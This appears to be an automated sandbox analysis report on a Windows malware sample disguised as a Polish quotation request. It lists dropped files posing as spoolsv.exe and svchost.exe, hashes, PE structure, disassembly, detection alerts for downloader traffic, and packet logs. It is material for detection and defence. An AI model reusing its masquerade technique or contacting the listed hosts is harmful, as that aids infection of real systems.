C:\Windows\System\spoolsv.exe

Download File

Process:	C:\Windows\System\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	281100
Entropy (8bit):	5.268192078984638
Encrypted:	false
SSDEEP:	3072:UvEfVUzSLhIVbV6i5LirrlZrHyrUHUckoMQ2RN6unEz:UvEN2U+T6i5LirrllHy4HUcMQY67z
MD5:	654CCF32F8E2748995C732C707A09AC1
SHA1:	3D3BE95E3562DF9DF8037012D70CFF89EBD353F3
SHA-256:	ACCA7609A4214D519E632CFAECBE747FEA981B27F1F31A89BA09876B0306C15A
SHA-512:	72D1FBA3760649FE7E51C027FB77343DC87B84BDE16249C263DA46D966C3C5844EBBAE1FBE32953462CCD625F6797CD9E920FC5D64DEA6E55404CE64BF4AF3B8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1m..P...P...P..zL...P...O...P...O...P..Rich.P..........PE..L......M.....................0......p6............@.............................................................................(...........................................................................P... ....................................text...(........................... ....data...t...........................@....rsrc...............................@..@.tdata.............................. ...$..G............MSVBVM60.DLL............................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System\svchost.exe

Download File

Process:	C:\Windows\System\spoolsv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	281051
Entropy (8bit):	5.279370972501163
Encrypted:	false
SSDEEP:	3072:UvEfVUzSLhIVbV6i5LirrlZrHyrUHUckoMQ2RN6unEh:UvEN2U+T6i5LirrllHy4HUcMQY67h
MD5:	EA31FB96DC9A76CAEFA570341CD194E2
SHA1:	61869267700F223D5B85A879DB03CFE3449E6F85
SHA-256:	7A19592FDA5204B19B5D410C6AE1837257E6F28DB5C8DCBA6DA2B2409E165940
SHA-512:	0F923F1D43396B7E0739FAE6D828471DEA52C90F594F9AA225FAED6F50FD3F1DEB300C07971C0DE05B1B504D447EC5E537B80E07BD2CE7470A6BD6D24C2D0E22
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1m..P...P...P..zL...P...O...P...O...P..Rich.P..........PE..L......M.....................0......p6............@.............................................................................(...........................................................................P... ....................................text...(........................... ....data...t...........................@....rsrc...............................@..@.tdata.............................. ...$..G............MSVBVM60.DLL............................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.161868832252882
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe
File size:	1'524'650 bytes
MD5:	e9698d7f3a85335c8610cde2fecc54e8
SHA1:	fbc277222d6971e42acaf87975b7b565b9b63a9e
SHA256:	72292a987383f0079a0a846bae4ee6345f008f991a50f5f6d7fed2cad91339ad
SHA512:	d71038e7356636efa5b3691ea66e6f74cf5749720bb0a7a009f4487dada8a9e679865ab2e263de2cf91e0af6a006d3af904a1bbb958715ec00cde98c2c48335d
SSDEEP:	24576:K5xolYQY6afmMv6Ckr7Mny5QLvmVib5B6lhswkKa59PK01LnRiaZ:dY53v+7/5QLvmG6lh8KmrLf
TLSH:	8B65D022B7C5507AD86379F02977E36BAB353D150722C88B67E02F665D31102BA7632F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1m..P...P...P..zL...P...O...P...O...P..Rich.P..........PE..L......M.....................0......p6............@................

File Icon


Icon Hash:	0f3331292513170f

Static PE Info

General

Entrypoint:	0x403670
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x4DF7AFFC [Tue Jun 14 19:01:16 2011 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	98f67c550a7da65513e63ffd998f6b2e

Entrypoint Preview

Instruction
push 00403ED4h
call 00007FB43C4FA685h
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], bh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx-7FFA577Dh], dl
adc eax, dword ptr [bx-4Fh]
push edx
xchg eax, ebx
pop eax
jnc 00007FB43C4FA61Dh
nop
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax+00h], al
hlt
test al, F6h
add byte ptr [edi+69h], dl
outsb
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
movsd
test byte ptr [eax], 00000019h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], cl
add byte ptr [eax], al
add byte ptr [edx], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], al
add byte ptr [ebp-4E810EB2h], al
pushfd
call far 1AF7h : C9C2984Bh
jo 00007FB43C4FA63Bh
cmp byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax-58000000h], bl
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [ecx+ebp*4], bh
test byte ptr [eax], 00000001h
and byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-5Bh], ah
test byte ptr [eax], 0000001Bh
add byte ptr [eax], al
add byte ptr [ebp+45h], dh
js 00007FB43C4FA6E9h
popad
je 00007FB43C4FA6F5h
push 0040C100h
fadd st(0), st(0)
inc eax
add bl, bl
scasb
dec ecx
test dword ptr [ecx+ebx-3F56B459h], eax
mov bl, 8Fh
xor eax, 70C5231Dh
rol byte ptr [edi+edx*8-12h], cl
salc
dec edx
mov ah, 13h
in eax, dx
fsub qword ptr [edi]
push 31CCFF3Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2ac84	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2e000	0x5e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x250	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x284	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2a728	0x2b000	6805a78c569a1d85aabd684522fa4102	False	0.3680675417877907	data	5.947197438251493	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x2c000	0x1b74	0x1000	620f0b67a91f7f74151bc5be745b7110	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e000	0x5e0	0x1000	7eadf1dd3250382b6423bc57010e66be	False	0.630859375	data	6.236835270581233	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tdata	0x2f000	0xf000	0xf000	84c48b8da7e9b9d3c5667ad9819debd9	False	0.0013346354166666667	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x2e2f8	0xcd0	Device independent bitmap graphic, 32 x 64 x 24, image size 3072			0.6878048780487804
RT_GROUP_ICON	0x2e2e4	0x14	data			1.15
RT_VERSION	0x2e0f0	0x1f4	data	English	United States	0.504

Imports

DLL

Import

MSVBVM60.DLL

EVENT_SINK_GetIDsOfNames, __vbaStrI2, _CIcos, _adj_fptan, __vbaStrI4, __vbaVarVargNofree, __vbaFreeVar, __vbaStrVarMove, __vbaLenBstr, __vbaLateIdCall, __vbaPut3, __vbaEnd, __vbaFreeVarList, _adj_fdiv_m64, __vbaPut4, EVENT_SINK_Invoke, __vbaRaiseEvent, __vbaFreeObjList, __vbaStrErrVarCopy, _adj_fprem1, __vbaRecAnsiToUni, __vbaCopyBytes, __vbaStrCat, __vbaLsetFixstr, __vbaRecDestruct, __vbaSetSystemError, __vbaHresultCheckObj, __vbaNameFile, _adj_fdiv_m32, __vbaAryVar, Zombie_GetTypeInfo, __vbaAryDestruct, __vbaBoolStr, __vbaExitProc, __vbaI4Abs, __vbaOnError, __vbaObjSet, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, __vbaFpR4, __vbaStrFixstr, _CIsin, __vbaErase, __vbaChkstk, __vbaFileClose, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaGet3, __vbaStrCmp, __vbaGet4, __vbaPutOwner3, __vbaVarTstEq, __vbaAryConstruct2, __vbaObjVar, __vbaI2I4, DllFunctionCall, __vbaVarLateMemSt, __vbaFpUI1, __vbaRedimPreserve, __vbaStrR4, _adj_fpatan, __vbaFixstrConstruct, __vbaLateIdCallLd, Zombie_GetTypeInfoCount, __vbaRedim, __vbaRecUniToAnsi, EVENT_SINK_Release, __vbaNew, __vbaUI1I2, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, __vbaStrToUnicode, _adj_fprem, _adj_fdivr_m64, __vbaFPException, __vbaGetOwner3, __vbaUbound, __vbaFileSeek, _CIlog, __vbaErrorOverflow, __vbaFileOpen, __vbaVarLateMemCallLdRf, __vbaNew2, __vbaInStr, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaI4Str, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarSetVar, __vbaI4Var, __vbaLateMemCall, __vbaVarAdd, __vbaAryLock, __vbaStrComp, __vbaVarDup, __vbaStrToAnsi, __vbaFpI2, __vbaFpI4, __vbaVarLateMemCallLd, __vbaVarSetObjAddref, __vbaRecDestructAnsi, __vbaLateMemCallLd, _CIatan, __vbaAryCopy, __vbaStrMove, __vbaCastObj, __vbaR8IntI4, _allmul, __vbaVarLateMemCallSt, _CItan, __vbaAryUnlock, _CIexp, __vbaFreeObj, __vbaFreeStr

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T13:08:00.817344+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49705	132.226.247.73	80	TCP
2024-10-29T13:08:02.910971+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49705	132.226.247.73	80	TCP
2024-10-29T13:08:03.518436+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49708	188.114.96.3	443	TCP
2024-10-29T13:08:04.656945+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49709	132.226.247.73	80	TCP
2024-10-29T13:08:07.209909+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49713	188.114.97.3	443	TCP
2024-10-29T13:08:08.838907+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49715	188.114.97.3	443	TCP
2024-10-29T13:08:12.358955+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49721	188.114.97.3	443	TCP
2024-10-29T13:08:14.572060+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49725	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 13:07:54.801620960 CET	49675	443	192.168.2.5	23.1.237.91
Oct 29, 2024 13:07:54.801649094 CET	49674	443	192.168.2.5	23.1.237.91
Oct 29, 2024 13:07:54.926595926 CET	49673	443	192.168.2.5	23.1.237.91
Oct 29, 2024 13:07:59.176042080 CET	49704	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:07:59.181468964 CET	80	49704	64.233.166.82	192.168.2.5
Oct 29, 2024 13:07:59.181556940 CET	49704	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:07:59.188297987 CET	49704	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:07:59.193715096 CET	80	49704	64.233.166.82	192.168.2.5
Oct 29, 2024 13:07:59.570375919 CET	49705	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:07:59.575797081 CET	80	49705	132.226.247.73	192.168.2.5
Oct 29, 2024 13:07:59.575963974 CET	49705	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:07:59.576453924 CET	49705	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:07:59.581794024 CET	80	49705	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:00.100457907 CET	80	49704	64.233.166.82	192.168.2.5
Oct 29, 2024 13:08:00.100480080 CET	80	49704	64.233.166.82	192.168.2.5
Oct 29, 2024 13:08:00.100579023 CET	49704	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:00.101532936 CET	49704	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:00.101532936 CET	49704	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:00.451689005 CET	80	49705	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:00.504200935 CET	49705	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:00.510262012 CET	80	49705	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:00.769324064 CET	80	49705	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:00.817343950 CET	49705	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:01.169035912 CET	49706	443	192.168.2.5	188.114.96.3
Oct 29, 2024 13:08:01.169069052 CET	443	49706	188.114.96.3	192.168.2.5
Oct 29, 2024 13:08:01.169162989 CET	49706	443	192.168.2.5	188.114.96.3
Oct 29, 2024 13:08:01.174484015 CET	49706	443	192.168.2.5	188.114.96.3
Oct 29, 2024 13:08:01.174508095 CET	443	49706	188.114.96.3	192.168.2.5
Oct 29, 2024 13:08:02.065903902 CET	443	49706	188.114.96.3	192.168.2.5
Oct 29, 2024 13:08:02.066034079 CET	49706	443	192.168.2.5	188.114.96.3
Oct 29, 2024 13:08:02.071641922 CET	49706	443	192.168.2.5	188.114.96.3
Oct 29, 2024 13:08:02.071657896 CET	443	49706	188.114.96.3	192.168.2.5
Oct 29, 2024 13:08:02.071883917 CET	443	49706	188.114.96.3	192.168.2.5
Oct 29, 2024 13:08:02.131588936 CET	49706	443	192.168.2.5	188.114.96.3
Oct 29, 2024 13:08:02.175338030 CET	443	49706	188.114.96.3	192.168.2.5
Oct 29, 2024 13:08:02.362365007 CET	49707	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:02.368449926 CET	80	49707	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:02.368529081 CET	49707	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:02.368700027 CET	49707	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:02.374938965 CET	80	49707	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:02.490402937 CET	443	49706	188.114.96.3	192.168.2.5
Oct 29, 2024 13:08:02.490463972 CET	443	49706	188.114.96.3	192.168.2.5
Oct 29, 2024 13:08:02.493186951 CET	49706	443	192.168.2.5	188.114.96.3
Oct 29, 2024 13:08:02.496784925 CET	49706	443	192.168.2.5	188.114.96.3
Oct 29, 2024 13:08:02.499444008 CET	49705	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:02.504888058 CET	80	49705	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:02.763768911 CET	80	49705	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:02.765647888 CET	49708	443	192.168.2.5	188.114.96.3
Oct 29, 2024 13:08:02.765707970 CET	443	49708	188.114.96.3	192.168.2.5
Oct 29, 2024 13:08:02.765902996 CET	49708	443	192.168.2.5	188.114.96.3
Oct 29, 2024 13:08:02.766233921 CET	49708	443	192.168.2.5	188.114.96.3
Oct 29, 2024 13:08:02.766252041 CET	443	49708	188.114.96.3	192.168.2.5
Oct 29, 2024 13:08:02.910970926 CET	49705	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:03.290827036 CET	80	49707	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:03.290849924 CET	80	49707	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:03.291038990 CET	49707	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:03.292417049 CET	49707	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:03.292417049 CET	49707	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:03.374557972 CET	443	49708	188.114.96.3	192.168.2.5
Oct 29, 2024 13:08:03.379364014 CET	49708	443	192.168.2.5	188.114.96.3
Oct 29, 2024 13:08:03.379443884 CET	443	49708	188.114.96.3	192.168.2.5
Oct 29, 2024 13:08:03.518412113 CET	443	49708	188.114.96.3	192.168.2.5
Oct 29, 2024 13:08:03.518481970 CET	443	49708	188.114.96.3	192.168.2.5
Oct 29, 2024 13:08:03.518574953 CET	49708	443	192.168.2.5	188.114.96.3
Oct 29, 2024 13:08:03.575938940 CET	49708	443	192.168.2.5	188.114.96.3
Oct 29, 2024 13:08:03.652029991 CET	49705	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:03.658257008 CET	80	49705	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:03.660880089 CET	49705	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:03.778568983 CET	49709	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:03.784071922 CET	80	49709	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:03.784179926 CET	49709	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:03.784301043 CET	49709	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:03.790875912 CET	80	49709	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:04.410921097 CET	49674	443	192.168.2.5	23.1.237.91
Oct 29, 2024 13:08:04.411248922 CET	49675	443	192.168.2.5	23.1.237.91
Oct 29, 2024 13:08:04.535953045 CET	49673	443	192.168.2.5	23.1.237.91
Oct 29, 2024 13:08:04.656728983 CET	80	49709	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:04.656944990 CET	49709	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:04.662842989 CET	80	49709	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:04.662904024 CET	49709	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:04.666565895 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:04.666599035 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:04.666670084 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:04.666914940 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:04.666932106 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:04.715926886 CET	49711	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:04.721369982 CET	80	49711	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:04.721513987 CET	49711	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:04.721707106 CET	49711	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:04.728256941 CET	80	49711	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:05.284919977 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:05.286644936 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:05.286689997 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:05.432358980 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:05.432451963 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:05.432513952 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:05.432908058 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:05.437011957 CET	49712	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:05.442548990 CET	80	49712	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:05.442639112 CET	49712	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:05.442732096 CET	49712	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:05.448065996 CET	80	49712	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:05.653434992 CET	80	49711	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:05.653501987 CET	80	49711	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:05.653532982 CET	49711	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:05.653567076 CET	49711	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:05.653999090 CET	49711	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:05.654026985 CET	49711	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:06.304658890 CET	80	49712	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:06.308789015 CET	443	49703	23.1.237.91	192.168.2.5
Oct 29, 2024 13:08:06.311011076 CET	49703	443	192.168.2.5	23.1.237.91
Oct 29, 2024 13:08:06.331495047 CET	49713	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:06.331579924 CET	443	49713	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:06.331688881 CET	49713	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:06.348450899 CET	49712	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:06.360547066 CET	49713	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:06.360589981 CET	443	49713	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:07.051150084 CET	443	49713	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:07.053086042 CET	49713	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:07.053164005 CET	443	49713	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:07.209943056 CET	443	49713	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:07.210014105 CET	443	49713	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:07.210108042 CET	49713	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:07.210563898 CET	49713	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:07.215435982 CET	49712	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:07.216550112 CET	49714	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:07.221532106 CET	80	49712	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:07.221652985 CET	49712	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:07.222032070 CET	80	49714	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:07.222126961 CET	49714	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:07.222213984 CET	49714	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:07.227523088 CET	80	49714	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:08.076831102 CET	80	49714	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:08.080446959 CET	49715	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:08.080547094 CET	443	49715	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:08.080648899 CET	49715	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:08.081084967 CET	49715	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:08.081124067 CET	443	49715	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:08.129731894 CET	49714	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:08.695092916 CET	443	49715	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:08.697523117 CET	49715	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:08.697561026 CET	443	49715	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:08.777049065 CET	49716	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:08.782584906 CET	80	49716	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:08.782685041 CET	49716	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:08.783024073 CET	49716	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:08.788537025 CET	80	49716	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:08.838957071 CET	443	49715	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:08.839039087 CET	443	49715	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:08.839180946 CET	49715	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:08.840073109 CET	49715	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:08.845372915 CET	49714	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:08.846230030 CET	49717	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:08.851048946 CET	80	49714	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:08.851125002 CET	49714	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:08.851597071 CET	80	49717	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:08.851681948 CET	49717	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:08.851825953 CET	49717	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:08.857274055 CET	80	49717	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:09.683345079 CET	80	49716	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:09.683454990 CET	49716	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:09.719826937 CET	80	49717	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:09.721261024 CET	49718	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:09.721306086 CET	443	49718	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:09.721458912 CET	49718	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:09.721750021 CET	49718	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:09.721764088 CET	443	49718	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:09.770303011 CET	49717	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:10.068509102 CET	49719	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:10.068561077 CET	443	49719	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:10.068630934 CET	49719	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:10.088011026 CET	49719	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:10.088036060 CET	443	49719	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:10.330498934 CET	443	49718	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:10.338843107 CET	49718	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:10.338882923 CET	443	49718	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:10.476480961 CET	443	49718	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:10.476530075 CET	443	49718	188.114.97.3	192.168.2.5
Oct 29, 2024 13:08:10.476639032 CET	49718	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:10.477130890 CET	49718	443	192.168.2.5	188.114.97.3
Oct 29, 2024 13:08:10.480582952 CET	49717	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:10.481961012 CET	49720	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:10.486586094 CET	80	49717	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:10.486675978 CET	49717	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:10.487325907 CET	80	49720	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:10.487410069 CET	49720	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:10.487533092 CET	49720	80	192.168.2.5	132.226.247.73
Oct 29, 2024 13:08:10.492810965 CET	80	49720	132.226.247.73	192.168.2.5
Oct 29, 2024 13:08:10.801352978 CET	443	49719	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:10.801431894 CET	49719	443	192.168.2.5	51.81.194.202
